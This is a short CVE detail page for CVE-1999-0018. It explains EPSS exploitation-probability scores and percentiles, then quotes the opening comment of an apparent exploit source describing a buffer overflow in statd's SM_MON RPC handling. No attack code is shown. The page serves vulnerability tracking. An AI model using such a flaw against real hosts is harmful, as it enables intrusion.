CVE-1999-0018 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

/* source: https://www.securityfocus.com/bid/127/info Statd is the RPC NFS status daemon. It is used to communicate status information to other services or host. The version of statd shipped with many unix implementations contains a buffer overflow condition. This overflow condition exists in the handling of 'SM_MON' RPC requests.
